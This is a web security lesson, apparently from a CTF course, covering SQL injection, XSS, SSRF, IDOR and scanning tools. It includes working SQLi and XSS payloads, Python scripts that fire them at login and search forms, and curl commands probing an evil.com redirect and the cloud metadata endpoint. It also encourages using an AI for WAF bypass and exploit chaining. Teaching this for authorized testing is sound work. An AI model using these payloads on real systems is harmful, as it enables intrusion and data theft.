

Web Application Vulnerability Scanning

Systematically discovering and exploiting web application vulnerabilities using manual techniques, automated scanners, and AI-assisted payload generation.

WARNING: Authorized Testing Only. Every technique described in this lesson must only be used against applications you own, CTF challenge platforms, or systems where you hold explicit written authorization. Unauthorized web application testing violates the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide. Violations carry serious criminal penalties including imprisonment. When in doubt, do not test.

The Web Application Attack Surface

A web application exposes a far larger attack surface than most developers realize. Every HTTP endpoint, form field, cookie, header, file upload handler, and API route is a potential entry point for an attacker. The attack surface includes:

- **Client-side components** — HTML forms, JavaScript logic, local storage, DOM manipulation
- **Transport layer** — HTTP requests and responses, TLS configuration, certificate handling
- **Server-side logic** — input validation, authentication, session management, authorization checks
- **Data layer** — database queries, file system access, external API calls
- **Infrastructure** — web server configuration, reverse proxies, load balancers, WAFs

CTF challenges and real-world penetration tests both require methodical enumeration of this surface before attempting exploitation. A vulnerability scanner that only checks known CVEs will miss application-specific logic flaws, which are often the most impactful findings.

HTTP Fundamentals

Before hunting for web vulnerabilities, you need a solid grasp of the HTTP protocol. Every web attack manipulates HTTP in some way.

Methods

The most commonly targeted HTTP methods are:

- `GET` — retrieves resources; parameters in the URL query string are visible and logged
- `POST` — submits data in the request body; used for forms, logins, and API calls
- `PUT` / `PATCH` — updates resources; often exposed in REST APIs without proper authorization
- `DELETE` — removes resources; dangerous if authorization is missing
- `OPTIONS` — reveals allowed methods and CORS configuration

Headers, Cookies, and Sessions

HTTP headers carry metadata that controls caching, content types, authentication, and security policies. Key headers for security testing include:

- `Cookie` / `Set-Cookie` — session tokens, authentication state
- `Authorization` — Bearer tokens, Basic auth credentials
- `Content-Type` — determines how the server parses the request body
- `X-Forwarded-For` — can be spoofed to bypass IP-based access controls
- `Referer` / `Origin` — used in CSRF protection (and sometimes bypassable)

Sessions typically rely on a server-side session ID stored in a cookie. If an attacker can steal or predict this ID, they hijack the session. JWT tokens move session state to the client, introducing different attack vectors like algorithm confusion and signature bypass.

Common Web Vulnerabilities

SQL Injection (SQLi)

SQL injection occurs when user input is concatenated directly into SQL queries without parameterization. It remains one of the most dangerous web vulnerabilities because it can lead to full database extraction, authentication bypass, and sometimes remote code execution.

```
-- Vulnerable query (server-side pseudocode):
-- query = "SELECT * FROM users WHERE username='" + input + "' AND password='"

-- Authentication bypass payload:
' OR '1'='1' --

-- The resulting query becomes:
SELECT * FROM users WHERE username='' OR '1'='1' --' AND password='anything'
-- The OR condition is always true; the comment (--) discards the password check
```

More advanced SQL injection techniques:

```
-- UNION-based extraction: determine column count, then extract data
' UNION SELECT NULL,NULL,NULL --          -- adjust NULLs until no error
' UNION SELECT username,password,NULL FROM users --

-- Blind boolean-based: infer data one character at a time
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a' --

-- Time-based blind: when no output is visible
' AND IF(SUBSTRING((SELECT database()),1,1)='m', SLEEP(5), 0) --
```

Cross-Site Scripting (XSS)

XSS allows an attacker to inject malicious JavaScript into pages viewed by other users. There are three main variants:

- **Reflected XSS** — the payload is included in the request (usually a URL parameter) and reflected back in the response without sanitization
- **Stored XSS** — the payload is saved to the database (e.g., in a comment or profile field) and executed whenever other users view the content
- **DOM-based XSS** — the vulnerability exists in client-side JavaScript that reads from a controllable source (like `location.hash`) and writes to a dangerous sink (like `innerHTML`)

```
<!-- Basic reflected XSS test payloads -->
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>

<!-- Filter bypass examples -->
<ScRiPt>alert('XSS')</ScRiPt>           <!-- mixed case -->
<img src=x onerror="alert(String.fromCharCode(88,83,83))"> <!-- char encoding -->
<details open ontoggle=alert('XSS')>    <!-- uncommon event handler -->
```

XSS testing methodology: inject a unique canary string (e.g., `xss1234test`) into every input field and URL parameter, then search the response HTML for the canary. Where it appears unencoded, attempt actual payloads.

Cross-Site Request Forgery (CSRF)

CSRF tricks an authenticated user's browser into making unintended requests. If a banking site processes transfers via a simple POST with no anti-CSRF token, an attacker can embed a hidden form on a malicious page that submits a transfer when the victim visits it.

Server-Side Request Forgery (SSRF)

SSRF exploits a server that makes HTTP requests based on user-supplied URLs. An attacker can use this to access internal services, cloud metadata endpoints (`http://169.254.169.254/`), or scan the internal network.

Insecure Direct Object References (IDOR)

IDOR occurs when an application exposes internal object identifiers (database IDs, file paths) and fails to verify that the requesting user is authorized to access the referenced object. Changing `/api/invoices/1042` to `/api/invoices/1043` might return another user's invoice.

Authentication Bypasses

Common authentication flaws include: default credentials, password reset token reuse, JWT algorithm confusion (changing `RS256` to `HS256`), race conditions in login flows, and missing authentication on API endpoints that the frontend "protects" by hiding UI elements.

Web Scanning Tools

Burp Suite

Burp Suite is the industry-standard web application testing proxy. It intercepts, modifies, and replays HTTP traffic between your browser and the target. Key features include the Proxy (intercept and modify requests), Repeater (manually resend modified requests), Intruder (automated parameter fuzzing), and Scanner (automated vulnerability detection in the Pro edition).

OWASP ZAP

ZAP (Zed Attack Proxy) is a free, open-source alternative to Burp Suite. It provides automated scanning, passive analysis, and manual testing tools. Its active scanner crawls the application and tests for common vulnerabilities. ZAP is particularly good for CI/CD integration via its command-line interface and Docker image.

Nikto

Nikto is a web server scanner that checks for dangerous files, outdated server software, and common misconfigurations. It is noisy (easily detected) but fast at identifying low-hanging fruit.

```
# Scan a target web server with Nikto
nikto -h http://target.local -o nikto_results.txt
```

Directory Brute-Forcing: dirb and gobuster

Content discovery tools enumerate hidden files, directories, and endpoints by sending requests for paths from a wordlist. This frequently uncovers admin panels, backup files, configuration endpoints, and forgotten development routes.

```
# gobuster directory brute-force
gobuster dir -u http://target.local -w /usr/share/wordlists/dirb/common.txt -t

# dirb with a custom wordlist
dirb http://target.local /usr/share/wordlists/dirb/big.txt

# gobuster with file extension fuzzing
gobuster dir -u http://target.local -w common.txt -x php,bak,txt,html,conf -t
```

Common findings from directory brute-forcing include: `/.git/` (source code exposure), `/backup/`, `/admin/`, `/phpinfo.php`, `/.env` (credential leaks), and `/api/swagger.json` (API documentation).

SQL Injection Deep Dive

SQL injection deserves extended coverage because it appears in a large proportion of CTF challenges and real-world vulnerabilities. A systematic approach is essential.

Detection

Start by injecting a single quote (`'`) into every parameter and observing the response. A database error message confirms injectable parameters. If errors are suppressed, use time-based detection:

```
# Testing for SQL injection with curl
curl -s "http://target.local/search?q=test'" | grep -i "error\|syntax\|mysql\|

# Time-based blind detection
curl -s -o /dev/null -w "%{time_total}" "http://target.local/search?q=test' AND
```

Automated Testing with Python

```
import requests

target = "http://target.local/login"
sql_payloads = [
    "' OR '1'='1' --",
    "' OR '1'='1' /*",
    "admin'--",
    "' UNION SELECT NULL,NULL,NULL--",
    "' AND 1=1--",
    "' AND 1=2--",
]

for payload in sql_payloads:
    data = {"username": payload, "password": "anything"}
    resp = requests.post(target, data=data)
    indicator = "Welcome" in resp.text or resp.status_code == 302
    print(f"[{'HIT' if indicator else 'miss'}] {payload[:50]}")
```

Exploitation Flow

1. **Identify injection point** — test each parameter with `'`, `"`, `)`
2. **Determine database type** — error messages or fingerprinting queries
3. **Find column count** — `ORDER BY 1`, `ORDER BY 2`, ... until error
4. **Extract schema** — `UNION SELECT table_name FROM information_schema.tables`
5. **Dump data** — `UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'`

XSS Testing Methodology

A thorough XSS test follows a structured process rather than randomly pasting payloads:

1. **Map inputs** — identify every parameter, header, and cookie value that is reflected in responses
2. **Inject canary** — use a unique string like `xss7829probe` and locate it in the response HTML
3. **Determine context** — is the canary inside an HTML tag, an attribute value, a JavaScript string, or a comment?
4. **Craft context-appropriate payload** — break out of the current context before injecting script
5. **Bypass filters** — try encoding, case variation, alternative event handlers, and polyglot payloads

```
import requests

target = "http://target.local/search"
xss_payloads = [
    '<script>alert(1)</script>',
    '<img src=x onerror=alert(1)>',
    '<svg/onload=alert(1)>',
    '" onfocus=alert(1) autofocus=""',
    'javascript:alert(1)//',
    '<details open ontoggle=alert(1)>',
]

for payload in xss_payloads:
```

```
resp = requests.get(target, params={"q": payload})
# Check if payload appears unencoded in response
if payload in resp.text:
    print(f"[REFLECTED] {payload[:60]}")
else:
    print(f"[filtered] {payload[:60]}")
```

AI-Assisted Web Testing

Large language models like Claude can significantly accelerate web application testing in several ways:

- **Payload generation** — describe the injection context (e.g., "input reflected inside a `value` attribute with double quotes filtered") and ask Claude to generate bypass payloads tailored to that specific context
- **Response analysis** — paste HTTP responses and ask Claude to identify information leakage, error patterns, or unusual behavior that suggests vulnerabilities
- **Logic flaw identification** — describe an application's workflow (registration, password reset, payment) and ask Claude to identify potential race conditions, state manipulation, or authorization gaps
- **WAF bypass crafting** — provide the WAF's blocked patterns and ask Claude to suggest encoding, fragmentation, or alternative syntax that achieves the same effect
- **Exploit chain assembly** — when you have found multiple low-severity issues, Claude can help reason about how to chain them into a higher-impact exploit

```
# Example: using curl to test a header injection suggested by AI analysis
curl -v "http://target.local/redirect?url=http://evil.com" \
-H "X-Forwarded-For: 127.0.0.1" \
-H "X-Original-URL: /admin"

# Testing for SSRF via a URL parameter
curl -s "http://target.local/fetch?url=http://169.254.169.254/latest/meta-data"
```

The key advantage of AI-assisted testing is speed: rather than manually looking up filter bypass techniques or SQLi syntax for obscure database engines, you can describe the constraint and receive targeted suggestions in seconds. This is especially valuable in time-limited CTF competitions.

Putting It All Together

A methodical web application test follows this general workflow:

1. **Reconnaissance** — map the application with a spidering tool or manual browsing; identify all endpoints, parameters, and technologies
2. **Content discovery** — run gobuster or dirb to find hidden paths, backup files, and admin interfaces
3. **Passive analysis** — review response headers, cookies, JavaScript files, and HTML comments for information leakage
4. **Input testing** — systematically test every input for SQLi, XSS, SSRF, and command injection
5. **Authentication and authorization** — test for IDOR, privilege escalation, and session management flaws
6. **Exploitation** — develop working exploits for confirmed vulnerabilities
7. **Documentation** — record findings with reproduction steps

Further Reading

- [OWASP Top 10](#)
- [PortSwigger Web Security Academy](#) — free, hands-on web vulnerability labs
- [OWASP Web Security Testing Guide](#)
- [HackTricks](#) — comprehensive penetration testing reference

Download Files

These files contain synthetic web app scan data for the challenges. All files are plain text (.txt) and safe to open.

↓ [burp-findings.txt](#) ~17 KB

↓ [http-requests.txt](#) ~21 KB

↓ [nikto-scan.txt](#) ~7 KB

↓ [gobuster-results.txt](#) ~7 KB